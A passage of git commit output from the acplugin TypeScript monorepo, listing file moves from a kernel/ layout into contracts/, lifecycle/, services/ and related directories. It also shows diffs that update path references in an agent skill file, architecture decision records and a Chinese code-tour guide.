packages/acplugin/src/cli/output.ts create mode 100644 packages/acplugin/src/cli/program.ts rename packages/acplugin/src/{version.ts => ecosystem/framework-version.ts} (69%) rename packages/acplugin/src/{ecosystem-versions.json => ecosystem/versions.json} (100%) rename packages/acplugin/src/{ecosystem-versions.ts => ecosystem/versions.ts} (87%) delete mode 100644 packages/acplugin/src/init.ts create mode 100644 packages/acplugin/src/migration/ids.ts create mode 100644 packages/acplugin/src/migration/metadata.ts create mode 100644 packages/acplugin/src/migration/types.ts create mode 100644 packages/acplugin/src/migration/validation.ts create mode 100644 packages/acplugin/src/migration/writers/components.ts create mode 100644 packages/acplugin/src/migration/writers/hooks.ts create mode 100644 packages/acplugin/src/migration/writers/mcp.ts create mode 100644 packages/acplugin/src/migration/writers/project.ts create mode 100644 packages/acplugin/src/migration/writers/shared.ts create mode 100644 packages/acplugin/src/scaffolding/init.ts create mode 100644 packages/acplugin/src/scaffolding/prompts.ts create mode 100644 packages/acplugin/src/scaffolding/templates.ts rename packages/core/src/{kernel-author.ts => api/author.ts} (88%) rename packages/core/src/{kernel-contracts.ts => api/definitions.ts} (83%) rename packages/core/src/{kernel-sdk.ts => api/integration.ts} (93%) rename packages/core/src/compiler/{compiler-host.ts => compiler-service.ts} (98%) rename packages/core/src/compiler/{managed-auditor.ts => managed/auditor.ts} (97%) rename packages/core/src/compiler/{managed-boundary.ts => managed/boundary.ts} (97%) rename packages/core/src/compiler/{managed-options.ts => managed/options.ts} (98%) rename packages/core/src/compiler/{portable-auditor.ts => portable-node/auditor.ts} (91%) rename packages/core/src/compiler/{portable-options.ts => portable-node/options.ts} (96%) rename packages/core/src/compiler/{portable-policy.ts => portable-node/policy.ts} (97%) rename packages/core/src/{kernel/config-resolver.ts => config/resolver.ts} (98%) create mode 100644 packages/core/src/contracts/common.ts create mode 100644 packages/core/src/contracts/compiler.ts create mode 100644 packages/core/src/contracts/components.ts create mode 100644 packages/core/src/contracts/config.ts create mode 100644 packages/core/src/contracts/index.ts create mode 100644 packages/core/src/contracts/integrations.ts create mode 100644 packages/core/src/contracts/packages.ts create mode 100644 packages/core/src/contracts/project.ts create mode 100644 packages/core/src/contracts/reports.ts create mode 100644 packages/core/src/contracts/services.ts delete mode 100644 packages/core/src/kernel-types.ts delete mode 100644 packages/core/src/kernel/build-session.ts create mode 100644 packages/core/src/lifecycle/build-environment.ts create mode 100644 packages/core/src/lifecycle/build-session.ts rename packages/core/src/{kernel => lifecycle}/dev-session.ts (99%) create mode 100644 packages/core/src/lifecycle/integration-sessions.ts create mode 100644 packages/core/src/lifecycle/platform-pipeline.ts rename packages/core/src/{kernel/build-session-scope.ts => lifecycle/session-scope.ts} (100%) create mode 100644 packages/core/src/output/lock.ts create mode 100644 packages/core/src/output/recovery.ts create mode 100644 packages/core/src/output/transaction-files.ts create mode 100644 packages/core/src/output/transaction.ts rename packages/core/src/package/{compatibility-registry.ts => compatibility.ts} (97%) rename packages/core/src/package/{distribution-registry.ts => distributions.ts} (95%) rename packages/core/src/package/{document-codec.ts => documents.ts} (94%) rename packages/core/src/package/{package-registry.ts => registry.ts} (97%) rename packages/core/src/{kernel => project}/project.ts (95%) delete mode 100644 packages/core/src/resources/canonical-provider.ts create mode 100644 packages/core/src/resources/canonical/agents.ts create mode 100644 packages/core/src/resources/canonical/commands.ts create mode 100644 packages/core/src/resources/canonical/provider.ts create mode 100644 packages/core/src/resources/canonical/shared.ts create mode 100644 packages/core/src/resources/canonical/skills.ts rename packages/core/src/resources/{extension-provider.ts => extensions.ts} (91%) rename packages/core/src/resources/{public-provider.ts => public.ts} (92%) rename packages/core/src/resources/{resource-registry.ts => registry.ts} (95%) rename packages/core/src/resources/{runtime-paths.ts => runtime/paths.ts} (89%) rename packages/core/src/resources/{runtime-provider.ts => runtime/provider.ts} (94%) rename packages/core/src/{kernel => security}/data-boundary.ts (97%) create mode 100644 packages/core/src/security/json-snapshot.ts rename packages/core/src/{kernel => security}/path-policy.ts (98%) rename packages/core/src/{kernel => security}/report-safety.ts (92%) create mode 100644 packages/core/src/serialization/documents.ts create mode 100644 packages/core/src/serialization/index.ts rename packages/core/src/{serialization.ts => serialization/json.ts} (64%) rename packages/core/src/{kernel/asset-registry.ts => services/assets.ts} (98%) rename packages/core/src/{kernel/diagnostic-registry.ts => services/diagnostics.ts} (95%) rename packages/core/src/{kernel/execution-host.ts => services/execution.ts} (98%) rename packages/core/src/{kernel => services}/extension-state.ts (96%) rename packages/core/src/{kernel/module-host.ts => services/modules.ts} (97%) rename packages/core/src/{kernel/source-registry.ts => services/sources.ts} (99%) rename packages/core/src/{kernel/watch-registry.ts => services/watch.ts} (99%) rename packages/core/src/{kernel => services}/work-directories.ts (98%) delete mode 100644 packages/core/src/transaction.ts rename packages/core/test/{ => compiler}/compiler-managed.test.ts (98%) rename packages/core/test/{ => compiler}/compiler-portable.test.ts (95%) rename packages/core/test/{ => compiler}/compiler-portable.types.ts (95%) rename packages/core/test/{ => config}/config-resolver.test.ts (97%) rename packages/core/test/{kernel-contracts.test.ts => contracts/integration-definitions.test.ts} (96%) create mode 100644 packages/core/test/contracts/json-snapshot.test.ts rename packages/core/test/{ => lifecycle}/build-session.test.ts (99%) rename packages/core/test/{ => lifecycle}/dev-session-faults.test.ts (95%) rename packages/core/test/{transaction-v2.test.ts => output/transaction.test.ts} (98%) rename packages/core/test/{ => package}/candidate-materializer.test.ts (93%) rename packages/core/test/{compatibility-registry-v2.test.ts => package/compatibility.test.ts} (96%) rename packages/core/test/{ => package}/distribution-registry.test.ts (93%) rename packages/core/test/{ => package}/document-codec.test.ts (91%) rename packages/core/test/{ => package}/package-registry.test.ts (97%) rename packages/core/test/{report-v2.test.ts => package/report-builder.test.ts} (90%) rename packages/core/test/{ => resources}/canonical-provider.test.ts (91%) rename packages/core/test/{ => resources}/extension-provider.test.ts (96%) rename packages/core/test/{ => resources}/project-graph.test.ts (91%) rename packages/core/test/{ => resources}/public-provider.test.ts (91%) rename packages/core/test/{ => resources}/resource-registry.test.ts (92%) rename packages/core/test/{ => resources}/runtime-paths.test.ts (94%) rename packages/core/test/{ => resources}/runtime-provider.test.ts (96%) rename packages/core/test/{ => services}/asset-registry.test.ts (96%) rename packages/core/test/{ => services}/execution-host.test.ts (93%) rename packages/core/test/{ => services}/module-host.test.ts (96%) rename packages/core/test/{ => services}/source-registry.test.ts (97%) rename packages/core/test/{ => services}/watch-registry.test.ts (97%) rename packages/extensions/hooks/src/{runtime-integration-source.ts => runtime/integration.ts} (98%) rename packages/extensions/hooks/src/{runtime-source.ts => runtime/runner.ts} (99%) rename packages/extensions/hooks/src/{wire-source.ts => runtime/wire.ts} (99%) create mode 100644 packages/extensions/hooks/test/authoring-discovery.test.ts create mode 100644 packages/extensions/hooks/test/build.test.ts create mode 100644 packages/extensions/hooks/test/contributors.test.ts create mode 100644 packages/extensions/hooks/test/fixture.ts delete mode 100644 packages/extensions/hooks/test/hooks.test.ts create mode 100644 packages/extensions/hooks/test/protocol.test.ts create mode 100644 packages/extensions/mcp/test/authoring-discovery.test.ts create mode 100644 packages/extensions/mcp/test/build-contributors.test.ts create mode 100644 packages/extensions/mcp/test/discovery-validation.test.ts create mode 100644 packages/extensions/mcp/test/fixture.ts delete mode 100644 packages/extensions/mcp/test/mcp.test.ts create mode 100644 packages/extensions/mcp/test/protocol.test.ts rename packages/platforms/antigravity/src/{ => package}/components.ts (100%) rename packages/platforms/antigravity/src/{ => package}/manifest.ts (100%) rename packages/platforms/antigravity/src/{ => package}/validator.ts (100%) rename packages/platforms/claude-code/src/{ => package}/components.ts (100%) rename packages/platforms/claude-code/src/{ => package}/manifest.ts (99%) create mode 100644 packages/platforms/claude-code/src/package/validation/hooks.ts create mode 100644 packages/platforms/claude-code/src/package/validation/index.ts create mode 100644 packages/platforms/claude-code/src/package/validation/manifest.ts create mode 100644 packages/platforms/claude-code/src/package/validation/marketplace.ts create mode 100644 packages/platforms/claude-code/src/package/validation/mcp.ts create mode 100644 packages/platforms/claude-code/src/package/validation/shared.ts delete mode 100644 packages/platforms/claude-code/src/validator.ts rename packages/platforms/codex/src/{ => package}/components.ts (100%) rename packages/platforms/codex/src/{ => package}/manifest.ts (99%) rename packages/platforms/codex/src/{ => package}/protocol.ts (100%) create mode 100644 packages/platforms/codex/src/package/validation/assets.ts create mode 100644 packages/platforms/codex/src/package/validation/hooks.ts create mode 100644 packages/platforms/codex/src/package/validation/index.ts create mode 100644 packages/platforms/codex/src/package/validation/manifest.ts create mode 100644 packages/platforms/codex/src/package/validation/marketplace.ts create mode 100644 packages/platforms/codex/src/package/validation/mcp.ts create mode 100644 packages/platforms/codex/src/package/validation/shared.ts create mode 100644 packages/platforms/codex/src/package/validation/skills.ts delete mode 100644 packages/platforms/codex/src/validator.ts rename packages/platforms/cursor/src/{ => package}/components.ts (100%) rename packages/platforms/cursor/src/{ => package}/manifest.ts (99%) rename packages/platforms/cursor/src/{ => package}/validator.ts (100%) rename packages/platforms/opencode/src/{ => package}/components.ts (100%) rename packages/platforms/opencode/src/{ => package}/config-document.ts (99%) rename packages/platforms/opencode/src/{ => package}/validator.ts (100%) rename packages/platforms/pi/src/{ => package}/components.ts (100%) rename packages/platforms/pi/src/{ => package}/manifest.ts (98%) rename packages/platforms/pi/src/{ => package}/validator.ts (100%) rename packages/test/test/{ => api}/extension-api.types.ts (100%) rename packages/test/test/{ => api}/legacy-api.types.ts (100%) rename packages/test/test/{ => api}/public-api.types.ts (100%) rename packages/test/test/{ => api}/sdk-api.types.ts (96%) rename packages/test/test/{ => api}/sdk-package-boundary.test.ts (99%) rename packages/test/test/{ => architecture}/architecture.test.ts (98%) rename packages/test/test/{kernel-v2-architecture.test.ts => architecture/integration-boundaries.test.ts} (80%) rename packages/test/test/{ => architecture}/repository.test.ts (99%) rename packages/test/test/{ => architecture}/workspace-layout.test.ts (98%) rename packages/test/test/{ => architecture}/workspace.test.ts (100%) rename packages/test/test/{ => cli}/build.test.ts (100%) rename packages/test/test/{ => cli}/cli.test.ts (99%) rename packages/test/test/{ => cli}/init.test.ts (100%) rename packages/test/test/{ => extensions}/hooks.test.ts (97%) rename packages/test/test/{ => platforms}/claude-code.test.ts (97%) rename packages/test/test/{ => platforms}/codex.test.ts (99%) rename packages/test/test/{ => platforms}/secondary-platforms.test.ts (99%) rename packages/test/test/{ => release}/comment-coverage.test.ts (97%) rename packages/test/test/{ => release}/ecosystem-contract.test.ts (100%) rename packages/test/test/{ => release}/package-boundaries.test.ts (99%) diff --git a/.agents/skills/add-converter/SKILL.md b/.agents/skills/add-converter/SKILL.md index 0f4faac..6049b85 100644 --- a/.agents/skills/add-converter/SKILL.md +++ b/.agents/skills/add-converter/SKILL.md @@ -6,12 +6,12 @@ description: Add or change a canonical acplugin Component and its Platform compi # Add a canonical Component 1. Decide whether the feature belongs in Core. Only cross-platform authoring concepts may become Components; optional horizontal capabilities belong in Extensions. Do not add Instructions as a Component. -2. Add canonical and author contracts in `packages/core/src/kernel-types.ts`. Keep Platform wire fields out of canonical types; use semantic fields and Platform-owned `platforms` metadata only where a verified capability requires it. -3. Update `packages/core/src/resources/canonical-provider.ts` and `project-graph.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Providers return normalized data and diagnostics, never Platform files. +2. Add canonical and author contracts in `packages/core/src/contracts/components.ts`, with related configuration or public authoring surfaces kept in `packages/core/src/contracts/config.ts` and `packages/core/src/api/author.ts`. Keep Platform wire fields out of canonical types; use semantic fields and Platform-owned `platforms` metadata only where a verified capability requires it. +3. Update the focused providers under `packages/core/src/resources/canonical/` and the graph in `packages/core/src/resources/project-graph.ts` with strict path, Frontmatter, identity, dependency, and symlink validation. Providers return normalized data and diagnostics, never Platform files. 4. Update every built-in Platform owner under `packages/platforms//`. Each Platform decides its own native representation or explicit transformation and owns its Manifest, output paths, serialization, and candidate validation. 5. For every Platform, report `native`, `transform`, `degraded`, or `unsupported`. Strict mode must fail on degraded/unsupported; relaxed mode must emit the explicit result and warning. 6. Create only Core-signed AssetRef values, then map them into Platform base/final Package or add-only Extension Contribution. Platform/Extension code receives no physical output or workDir authority and never writes `dist` directly. -7. Add Core schema/graph tests, per-Platform golden/schema tests, and cross-package strictness/collision tests under `packages/core/test/`, `packages/platforms//test/`, and `packages/test/test/`. +7. Add Core schema/graph tests under `packages/core/test/contracts/` and `packages/core/test/resources/`, per-Platform golden/schema tests under `packages/platforms//test/`, and cross-package strictness/collision tests in the matching domain under `packages/test/test/platforms/` or another existing integration-test domain. 8. Update the six-Platform compatibility tables, `AGENTS.md`, package README files, and the affected `llmdoc/` references. Run: diff --git a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md index 1cc2f23..3681759 100644 --- a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md +++ b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.md @@ -37,8 +37,8 @@ Build output and schema-v2 reports must also remain deterministic and free of ma ## Evidence -- `packages/core/src/kernel/build-session.ts` -- `packages/core/src/kernel/dev-session.ts` -- `packages/core/src/kernel/report-safety.ts` -- `packages/core/src/transaction.ts` -- `packages/core/src/kernel-types.ts` (`IntegrationCloseContext`, `ExecutionService`, `BuildReport`) +- `packages/core/src/lifecycle/build-session.ts` +- `packages/core/src/lifecycle/dev-session.ts` +- `packages/core/src/security/report-safety.ts` +- `packages/core/src/output/transaction.ts` +- `packages/core/src/contracts/` (`IntegrationCloseContext`, `ExecutionService`, `BuildReport`) diff --git a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md index e8a8696..0b74f65 100644 --- a/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md +++ b/llmdoc/architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md @@ -37,8 +37,8 @@ Kernel v2 用每次构建独占的 `PlatformSession` / `ExtensionSession` 取代 ## 证据 -- `packages/core/src/kernel/build-session.ts` -- `packages/core/src/kernel/dev-session.ts` -- `packages/core/src/kernel/report-safety.ts` -- `packages/core/src/transaction.ts` -- `packages/core/src/kernel-types.ts`(`IntegrationCloseContext`、`ExecutionService`、`BuildReport`) +- `packages/core/src/lifecycle/build-session.ts` +- `packages/core/src/lifecycle/dev-session.ts` +- `packages/core/src/security/report-safety.ts` +- `packages/core/src/output/transaction.ts` +- `packages/core/src/contracts/`(`IntegrationCloseContext`、`ExecutionService`、`BuildReport`) diff --git a/llmdoc/architecture/decisions/0002-extension-contribution-order.md b/llmdoc/architecture/decisions/0002-extension-contribution-order.md index 22e9dfa..aa3bcce 100644 --- a/llmdoc/architecture/decisions/0002-extension-contribution-order.md +++ b/llmdoc/architecture/decisions/0002-extension-contribution-order.md @@ -36,7 +36,7 @@ Kernel v2 instead needs independent integrations, parallel-safe collection, and ## Evidence -- `packages/core/src/resources/extension-provider.ts` -- `packages/core/src/package/package-registry.ts` -- `packages/core/src/kernel/build-session.ts` -- `packages/core/src/kernel-types.ts` (`PlatformContributor`, `ContributionContext`, `PackageContribution`) +- `packages/core/src/resources/extensions.ts` +- `packages/core/src/package/registry.ts` +- `packages/core/src/lifecycle/build-session.ts` +- `packages/core/src/contracts/` (`PlatformContributor`, `ContributionContext`, `PackageContribution`) diff --git a/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md b/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md index a856efd..6f5b59b 100644 --- a/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md +++ b/llmdoc/architecture/decisions/0002-extension-contribution-order.zh-CN.md @@ -36,7 +36,7 @@ Kernel v2 需要的是相互独立的集成、可并行收集和确定性冲突 ## 证据 -- `packages/core/src/resources/extension-provider.ts` -- `packages/core/src/package/package-registry.ts` -- `packages/core/src/kernel/build-session.ts` -- `packages/core/src/kernel-types.ts`(`PlatformContributor`、`ContributionContext`、`PackageContribution`) +- `packages/core/src/resources/extensions.ts` +- `packages/core/src/package/registry.ts` +- `packages/core/src/lifecycle/build-session.ts` +- `packages/core/src/contracts/`(`PlatformContributor`、`ContributionContext`、`PackageContribution`) diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md index 00bc614..7510b45 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md @@ -38,7 +38,7 @@ Making `@tokenroll/acplugin/platforms/` an export subpath would still leave ## Evidence - `packages/acplugin/src/index.ts` -- `packages/acplugin/src/project.ts` +- `packages/acplugin/src/author/project.ts` - `packages/acplugin/src/sdk.ts` - `packages/acplugin/tsdown.config.ts` - `packages/platforms/*/package.json` diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md index babb1ef..dc35732 100644 --- a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md @@ -38,7 +38,7 @@ ## 证据 - `packages/acplugin/src/index.ts` -- `packages/acplugin/src/project.ts` +- `packages/acplugin/src/author/project.ts` - `packages/acplugin/src/sdk.ts` - `packages/acplugin/tsdown.config.ts` - `packages/platforms/*/package.json` diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index 0057356..5e89e87 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -45,18 +45,18 @@ acplugin.config.ts → BuildReport schema v2 ``` -CLI、`runProject()`、`Project.run()` 与 `Project.dev()` 的每个重建轮次最终都进入 `packages/core/src/kernel/build-session.ts`。不存在 CLI 专用构建器或 Extension 自己的 pipeline。 +CLI、`runProject()`、`Project.run()` 与 `Project.dev()` 的每个重建轮次最终都进入 `packages/core/src/lifecycle/build-session.ts`。不存在 CLI 专用构建器或 Extension 自己的 pipeline。 ## 3. 主包入口 | 文件 | 作用 | | --- | --- | | `packages/acplugin/src/index.ts` | 作者/程序化根入口;只导出配置、Project、报告和 Runtime path helper | -| `packages/acplugin/src/sdk.ts` | Integration 唯一实现入口,转出 Core `kernel-sdk` | -| `packages/acplugin/src/project.ts` | 把公开 Project API 绑定到 Core Kernel 与当前 Framework version | -| `packages/acplugin/src/cli.ts` | init、validate、inspect、build、dev、migrate;只消费 Project API | -| `packages/acplugin/src/init.ts` | 显式 Platform/Extension 脚手架与内建 Runtime 模板 | -| `packages/acplugin/src/ecosystem-versions.*` | init、Migration 与 release verifier 共用的公开生态版本快照 | +| `packages/acplugin/src/sdk.ts` | Integration 唯一实现入口,转出 Core `api/integration` | +| `packages/acplugin/src/author/project.ts` | 把公开 Project API 绑定到 Core lifecycle 与当前 Framework version | +| `packages/acplugin/src/cli.ts`、`src/cli/` | 薄入口与 init、validate、inspect、build、dev、migrate 命令;只消费 Project API | +| `packages/acplugin/src/scaffolding/` | 显式 Platform/Extension 脚手架与内建 Runtime 模板 | +| `packages/acplugin/src/ecosystem/` | init、Migration 与 release verifier 共用的公开生态版本快照 | | `packages/acplugin/src/migration/` | 动态 import 的隔离迁移子系统 | `defineConfig()` 是唯一作者 define factory,仅用于类型推断。Hook、MCP descriptor 与 Runtime 源码使用 plain default export / 目录约定,不需要 `defineHook()`、`defineMcpServer()`、`defineNodeRuntime()` 或 `nodeRuntime()`。 @@ -65,11 +65,11 @@ CLI、`runProject()`、`Project.run()` 与 `Project.dev()` 的每个重建轮次 | 文件 | 作用 | | --- | --- | -| `kernel-types.ts` | 作者 Config、CanonicalProject、Session、Host、Package/Contribution、报告类型 | -| `kernel-contracts.ts` | `definePlatform()` / `defineExtension()` 精确字段验证、JSON 防御性复制、品牌与冻结 | -| `kernel-author.ts` | 主包根入口允许公开的作者/报告类型 | -| `kernel-sdk.ts` | `/sdk` 允许公开的 Integration 类型与工具 | -| `serialization.ts` | 确定性 JSON/YAML/frontmatter 序列化 | +| `contracts/` | 按 common、config、component、project、integration、compiler、package、service、report 拆分的契约类型 | +| `api/definitions.ts` | `definePlatform()` / `defineExtension()` 精确字段验证、严格 JSON snapshot、品牌与冻结 | +| `api/author.ts` | 主包根入口允许公开的作者/报告类型 | +| `api/integration.ts` | `/sdk` 允许公开的 Integration 类型与工具 | +| `serialization/` | 确定性 JSON/YAML/frontmatter 与 Document 序列化 | `LIFECYCLE_API_VERSION` 保持 `'1'`。该值表达当前 Session/Contributor 契约版本,不表示保留被删除的旧 shape。 @@ -81,14 +81,14 @@ Kernel 不把物理路径和任意文件系统权限交给 Integration,而是 | 模块 | 能力 | | --- | --- | -| `source-registry.ts` | 验证来源根、普通文件、symlink/特殊文件、SourceRef 授权 | -| `module-host.ts` | 通过受管 ESM 图加载可信 TypeScript/JavaScript config/descriptor | -| `compiler/compiler-host.ts` | 当前 Session 唯一 Rolldown owner,返回 GeneratedAssetRef 与脱敏模块图 | -| `execution-host.ts` | 在隔离 cwd、最小显式环境、超时和输出上限内执行 portable Node Asset | -| `asset-registry.ts` | 签发 Source/Generated/Bytes AssetRef,记录 owner/origin/mode/size/hash 与 grant | -| `watch-registry.ts` | 集中记录 Resource、Module、Compiler 实际读取的依赖 | -| `work-directories.ts` | 为 owner 管理不可伪造的内部 workDir;不公开物理写权限 | -| `build-session-scope.ts` | Session 结束后统一撤销所有 capability identity | +| `services/sources.ts` | 验证来源根、普通文件、symlink/特殊文件、SourceRef 授权 | +| `services/modules.ts` | 通过受管 ESM 图加载可信 TypeScript/JavaScript config/descriptor | +| `compiler/compiler-service.ts` | 当前 Session 唯一 Rolldown owner,返回 GeneratedAssetRef 与脱敏模块图 | +| `services/execution.ts` | 在隔离 cwd、最小显式环境、超时和输出上限内执行 portable Node Asset | +| `services/assets.ts` | 签发 Source/Generated/Bytes AssetRef,记录 owner/origin/mode/size/hash 与 grant | +| `services/watch.ts` | 集中记录 Resource、Module、Compiler 实际读取的依赖 | +| `services/work-directories.ts` | 为 owner 管理不可伪造的内部 workDir;不公开物理写权限 | +| `lifecycle/session-scope.ts` | Session 结束后统一撤销所有 capability identity | AssetRef 不是可伪造的 `{ path }`。Registry 使用对象身份验证当前 Session、真实 issuer 与 consumer grant;报告中的 origin 为结构化工程相对来源,不影响内容 hash。 @@ -96,12 +96,12 @@ AssetRef 不是可伪造的 `{ path }`。Registry 使用对象身份验证当前 `packages/core/src/resources/` 把作者布局转换为唯一 `CanonicalProject`: -- `canonical-provider.ts`:Command、Skill、Agent Markdown/frontmatter、辅助资源与平台字段。 +- `canonical/provider.ts`:Command、Skill、Agent Markdown/frontmatter、辅助资源与平台字段。 - `project-graph.ts`:拒绝缺失、自依赖和循环依赖。 -- `public-provider.ts`:默认 `public/` 和显式 copy mapping。 -- `runtime-provider.ts`:内建 Node Runtime 自动/显式入口、编译与 capability-driven Contribution。 -- `extension-provider.ts`:Extension discover/validate/build state snapshot、consumer plan 与 Contributor 收集。 -- `resource-registry.ts`:声明/认领资源根,拒绝未启用 Extension 遗留目录和根冲突。 +- `public.ts`:默认 `public/` 和显式 copy mapping。 +- `runtime/provider.ts`:内建 Node Runtime 自动/显式入口、编译与 capability-driven Contribution。 +- `extensions.ts`:Extension discover/validate/build state snapshot、consumer plan 与 Contributor 收集。 +- `registry.ts`:声明/认领资源根,拒绝未启用 Extension 遗留目录和根冲突。 所有 ID、目录项和报告集合按 code point 稳定排序;路径统一拒绝绝对路径、NUL、`..`、大小写/Unicode normalization 冲突与文件/目录前缀冲突。 @@ -144,11 +144,11 @@ Contribution 只能: 相关实现位于: -- `package/package-registry.ts` -- `package/document-codec.ts` +- `package/registry.ts` +- `package/documents.ts` - `package/candidate-materializer.ts` -- `package/distribution-registry.ts` -- `package/compatibility-registry.ts` +- `package/distributions.ts` +- `package/compatibility.ts` - `package/report-builder.ts` ## 9. Platform package @@ -157,11 +157,13 @@ Contribution 只能: ```text src/ -├── index.ts # factory、definePlatform、Session -├── components.ts # Canonical Component 转换与 compatibility -├── manifest.ts # 可选,结构化 Platform Document/metadata -├── validator.ts # 完整候选 Schema/引用闭包校验 -└── types.ts # 公开 options 与目标格式类型 +├── index.ts # factory、definePlatform、Session +├── types.ts # 可选,公开 options 与目标格式类型 +└── package/ + ├── components.ts # Canonical Component 转换与 compatibility + ├── manifest.ts # 或 config-document.ts;结构化 Platform Document/metadata + ├── protocol.ts # 可选,目标协议的共享常量与 wire helper + └── validator.ts # 小平台使用;Claude Code/Codex 按 validation/* 协议域拆分 ``` Platform 只声明能力,不要求 Core 按 ID 分支。当前 Claude Code/Codex 声明固定 Plugin-local Node 20 ESM capability;Runtime Provider 据此交付相同 AssetRef。其他 Platform 得到 `unsupported` 且无伪 Runtime。 @@ -176,6 +178,8 @@ Hooks 与 MCP 都采用: types.ts → discovery.ts → build.ts → contributors/.ts ``` +Hooks 交付进 bundle 的 runner、integration 与 wire 源码集中在 `runtime/`;MCP 没有无实现意义的空 Runtime 层级。两者都通过公开 SDK 的唯一 strict JSON snapshot 建立 descriptor 数据边界。 + ### Hooks - descriptor:`src/hooks//hook.ts` plain default export; @@ -206,7 +210,7 @@ Runtime 不使用 descriptor 或 Extension factory: ## 12. DevSession 与事务 -`kernel/dev-session.ts` 是唯一 Chokidar owner: +`lifecycle/dev-session.ts` 是唯一 Chokidar owner: - 同一时间只有一个 active BuildSession; - active round 期间的变化合并到下一轮; @@ -216,7 +220,7 @@ Runtime 不使用 descriptor 或 Extension factory: - rebuild 失败保留最后一次成功输出; - signal drain 与 `close()` 幂等。 -`transaction.ts` 对所选目标集合执行: +`output/transaction.ts` 对所选目标集合执行: ```text lock → recovery → stage → materialization validation @@ -244,7 +248,7 @@ schema-v2 `BuildReport` 包含: | `packages/core/test/` | Resource/graph、Host、Compiler、Registry、Package、transaction、DevSession | | `packages/platforms/*/test/` | Component 转换、golden、candidate validator、确定性 | | `packages/extensions/*/test/` | descriptor、build、Contributor、compatibility、真实 runtime/protocol | -| `packages/test/test/` | CLI、init、Migration、九包边界、SDK consumer、六平台集成 | +| `packages/test/test/{architecture,api,cli,platforms,extensions,release}/` | 架构、公开 API、CLI、六平台、Extension 与发行边界集成;Migration 保持根测试路径 | | `scripts/verify-playground.mjs` | 全能力文件树、协议执行、Secret、双构建确定性 | | `scripts/verify-release.mjs` | 九个 tarball、ATTW/publint、peer rewrite、clean consumer | @@ -263,14 +267,14 @@ pnpm run release:verify | 变更 | 首要位置 | 必须联动 | | --- | --- | --- | -| Canonical Component 字段/布局 | `resources/canonical-provider.ts`、`kernel-types.ts` | 六 Platform 转换、graph、报告、golden | -| Package/Asset 安全不变量 | `kernel/asset-registry.ts`、`package/*` | owner、candidate、transaction、report 测试 | -| Compiler profile | `compiler/*`、`kernel-types.ts` | Watch、license、Hooks/MCP/Runtime、SDK type tests | +| Canonical Component 字段/布局 | `resources/canonical/`、`contracts/components.ts` | 六 Platform 转换、graph、报告、golden | +| Package/Asset 安全不变量 | `services/assets.ts`、`package/*` | owner、candidate、transaction、report 测试 | +| Compiler profile | `compiler/*`、`contracts/compiler.ts` | Watch、license、Hooks/MCP/Runtime、SDK type tests | | Platform 格式 | 对应 `packages/platforms/` | compatibility、validator、Extension Contributor | | Extension 作者协议 | 对应 `types.ts`/`discovery.ts` | build、六 Contributor、protocol smoke | -| Runtime 约定 | `resources/runtime-provider.ts`、config resolver | capability、路径 helper、双平台交付与执行 | -| dev 监听 | `kernel/dev-session.ts`、各 Host watch observation | CLI 子进程、恢复、coalescing、close 测试 | -| 输出事务 | `transaction.ts` | fault injection、full/subset、rollback、cleanup | -| 公开 API | `kernel-author.ts` 或 `kernel-sdk.ts`、主包入口 | TypeDoc、type tests、tarball consumer、peer range | +| Runtime 约定 | `resources/runtime/`、`config/resolver.ts` | capability、路径 helper、双平台交付与执行 | +| dev 监听 | `lifecycle/dev-session.ts`、各 Service watch observation | CLI 子进程、恢复、coalescing、close 测试 | +| 输出事务 | `output/transaction.ts` | fault injection、full/subset、rollback、cleanup | +| 公开 API | `api/author.ts` 或 `api/integration.ts`、主包入口 | TypeDoc、type tests、tarball consumer、peer range | -推荐阅读顺序:`acplugin/src/index.ts` 与 `sdk.ts` → `kernel-types.ts` → `kernel/build-session.ts` → Resource/Package Registry → 一个官方 Platform → Hooks/MCP → DevSession 与 transaction → Playground/release verifier。 +推荐阅读顺序:`acplugin/src/index.ts` 与 `sdk.ts` → `core/src/contracts/` → `lifecycle/build-session.ts` → Resource/Package Registry → 一个官方 Platform → Hooks/MCP → DevSession 与 output transaction → Playground/release verifier。 diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index e7372a3..9019ae2 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -38,7 +38,7 @@ Node Runtime is a Framework Resource, not an Extension package. Direct files und The workspace catalog maps package `tsc` commands to `@typescript/native`. Tools that still require the legacy Compiler API use the isolated `@typescript/typescript6` alias. Production package typechecking remains on TypeScript 7. -The CLI and author facade live in `packages/acplugin/src/cli.ts` and `src/index.ts`; `src/sdk.ts` is the only Integration implementation entry. Core's fixed lifecycle is implemented by `packages/core/src/kernel/build-session.ts`, while `Project.dev()` delegates every rebuild round to that same BuildSession. +The CLI and author facade live in `packages/acplugin/src/cli.ts`, `src/cli/`, `src/index.ts`, and `src/author/`; `src/sdk.ts` is the only Integration implementation entry. Core's fixed lifecycle is implemented by `packages/core/src/lifecycle/build-session.ts`, while `Project.dev()` delegates every rebuild round to that same BuildSession. ## Migration boundary diff --git a/llmdoc/overview/project.zh-CN.md 